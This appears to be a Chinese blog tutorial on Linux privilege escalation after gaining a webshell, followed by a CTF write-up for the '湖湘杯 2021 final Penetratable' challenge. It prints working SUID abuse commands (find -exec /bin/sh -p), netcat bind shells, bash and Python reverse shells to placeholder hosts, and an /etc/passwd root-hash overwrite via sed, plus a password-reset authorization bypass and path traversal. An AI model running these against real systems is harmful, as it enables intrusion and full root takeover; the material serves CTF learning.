linux webshell提权

参考

Linux suid提权

Linux suid提权

什么是suid

suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。

suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。

linux引入了3个文件来管理用户组:

  1. /etc/passwd存放用户信息。
  2. /etc/shadow存放用户密码信息。
  3. /etc/group存放组信息。

在文件系统中的每个文件的文件头里面添加了用户和文件之间的关系信息。

用户信息/etc/passwd每行共有7个字段冒号隔开:

字段1为用户名。

字段2为用户的密码。

字段3为指UID,每个用户都有自己的uid。

字段4为组UID,每个用户都有不同的uid。

字段5为解释说明的字段。

字段6为指用户的根目录。

字段7为指登录shell,用户登录shell,当前为/bin/zsh表示可以登录,/sbin/nologin标识不被授权登录。

img

如何利用

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。

只有root用户的uid是0,如果把一个普通用户的uid修改为0,那么只要以普通用户的用户名和密码登录系统就会自动切换到root用户,在系统加固时一定要找出有哪些用户的uid为0。

假设可执行文件binexec其属主为root,当以非root身份登录时,如binexec设置了suid权限,就可以在非root身份下运行该可执行文件,可执行文件运行时该进程的权限为root权限。

利用此特性,就可通过suid进行提权。

如何设置suid

利用

1
2
chmod u+s filename #设置suid
chmod u-s filename #去除suid

img

可以看见,我们示例的图片由 -rw变为了-rwS,所以就是添加上了suid权限

如何查找suid文件

具有suid权限的二进制可执行文件有:

1
2
3
4
5
6
7
8
9
nmap
vim
find
bash
more
less
nano
cp
awk

从网上找了几个常见的命令

更多有关suid的可以看GTFOBins

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

以find / -perm -u=s -type f 2>/dev/null讲解一下各个参数代表什么

1
2
3
4
5
6
7
8
9
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

img

利用以上这几个命令可以找到正在系统上运行的所有suid可执行文件。

也可以使用sudo -l 列出当前用户可执行的命令

举个例子,我这里用Newstar的靶机演示了

1
find / -user root -perm -4000 -exec ls -ldb {} \;

img

ls一下看看是否设置了suid权限

1
ls -al /usr/bin/su

img

可以看到确实设置了suid权限,而且属主为root,现在我们是不是可以利用我们之前提到的suid可执行二进制文件从而进行提权呢

进行suid提权(这里就记一个find)

这里的前提都是要有suid权限

find

1
2
3
4
5
find 具有suid权限的filename -exec whoami \; -quit
#root
find 具有suid权限的filename -exec /bin/sh -p \; -quit
#whoami
#root

img

还有一种差不多的提权方法

1
2
3
#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;

img

广播shell

在靶机上:

1
find user -exec nc -lvp 4444 -e '/bin/sh' \;

在攻击机上:

1
nc 靶机ip 4444

反弹shell

在靶机上:

1
find 具有suid权限的filename -exec bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' \;

在攻击机上:

1
nc -lvp port

img

这里我延申一下,也可以写一个反弹root的shell

1
2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvp port

img

这里也可以结合之前的命令

1
/usr/bin/find 1.txt -exec python -c  'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;

一些奇奇怪怪的提权

通过查询历史记录从而获得信息泄露的信息

利用以下命令可以获取

1
cat ~/.bash_history

这个命令可以查看当前用户使用过的历史命令

有可能会得到root登录的密码

img

计划任务提权

可以利用

1
ls -l /etc/cron*

查看定期执行的计划任务,如果有用户写的脚本,那么我们可以进行脚本的修改然后回连rootshell,从而提权

img

linux配置错误从而提权

利用linuxprivchecker:https://www.securitysift.com/download/linuxprivchecker.py

unix-privesc-checkhttp://pentestmonkey.net/tools/audit/unix-privesc-check

这两个工具进行查找linux中配置错误的文件

[湖湘杯 2021 final]Penetratable

[湖湘杯 2021 final]Penetratable

这道题差不多可以当成渗透题目来做

拿到题目网址,先用dirsearch扫一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Target: http://node4.anna.nssctf.cn:28861/

[17:31:17] Starting:
[17:31:20] 403 - 288B - /.ht_wsr.txt
[17:31:20] 403 - 288B - /.htaccess.bak1
[17:31:20] 403 - 288B - /.htaccess.orig
[17:31:20] 403 - 288B - /.htaccess.sample
[17:31:20] 403 - 288B - /.htaccess.save
[17:31:20] 403 - 288B - /.htaccess_extra
[17:31:20] 403 - 288B - /.htaccess_orig
[17:31:20] 403 - 288B - /.htaccess_sc
[17:31:20] 403 - 288B - /.htaccessBAK
[17:31:20] 403 - 288B - /.htaccessOLD
[17:31:20] 403 - 288B - /.htm
[17:31:20] 403 - 288B - /.html
[17:31:20] 403 - 288B - /.htaccessOLD2
[17:31:20] 403 - 288B - /.htpasswd_test
[17:31:20] 403 - 288B - /.httr-oauth
[17:31:20] 403 - 288B - /.htpasswds
[17:31:21] 403 - 288B - /.php
[17:31:29] 301 - 335B - /app -> http://node4.anna.nssctf.cn:28861/app/
[17:31:29] 200 - 520B - /app/
[17:31:32] 301 - 338B - /config -> http://node4.anna.nssctf.cn:28861/config/
[17:31:32] 200 - 487B - /config/
[17:31:42] 200 - 0B - /phpinfo.php
[17:31:46] 403 - 288B - /server-status/
[17:31:46] 403 - 288B - /server-status
[17:31:47] 301 - 338B - /static -> http://node4.anna.nssctf.cn:28861/static/

Task Completed

直接访问/phpinfo.php无任何反应,空白页面

先注册一个账号,登录之后发现有修改密码功能,并且通过熊猫头插件扫出来的接口得知存在admin和root用户,直接访问会提示无权限

image-20250815211555034

用bp拦截下该重置密码的请求并将用户名改为admin,密码修改成功

image-20250815212126812

再将名字改为root尝试修改提示无权限

再登录admin账号,直接访问接口/?c=admin&m=updatePass,提示缺少参数

于是查看js文件,搜索updatePass()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}

补上相关参数后,尝试修改root密码,成功

image-20250815212427917

成功登录root账号,里面有一个查看日志的功能,并可以将该日志文件下载下来

拦截下载请求包,发送到repeater,发现返回包会直接返回文件内容

image-20250815212640995

于是尝试是否有目录遍历漏洞,就访问前面dirsearch扫出来的文件phpinfo.php,成功

image-20250815213234991

将md5序列拿去解密

image-20250815213307838

都明白了之后,直接反弹shell出来

image-20250815213406495

查看根目录发现访问flag文件需要root权限,并且只能读取不能进行其他操作

image-20250815213501729

进行suid提权,首先查看哪些文件有suid权限:find / -perm -u=s -type f 2>/dev/null

image-20250815213626831

其中有/bin/sed我们可以进行利用,问手ai看看如何利用,成功读取flag

image-20250815213732730

还有另外一种方法,如下所示:

1
2
3
4
5
6
7
www-data@6aae652213e24b63:/var/www/html$ perl -le 'print crypt("test","addedsalt")'
adMpHktIn0tR2
www-data@6aae652213e24b63:/var/www/html$ sed -i 's/root:x/root:adMpHktIn0tR2/g' /etc/passwd
www-data@6aae652213e24b63:/var/www/html$ su
Password:
root@6aae652213e24b63:/var/www/html# cat /flag
NSSCTF{689a8f95-ec99-490e-8dbf-65f9df21d716}

SUDO提权

1
sudo -l

https://gtfobins.github.io/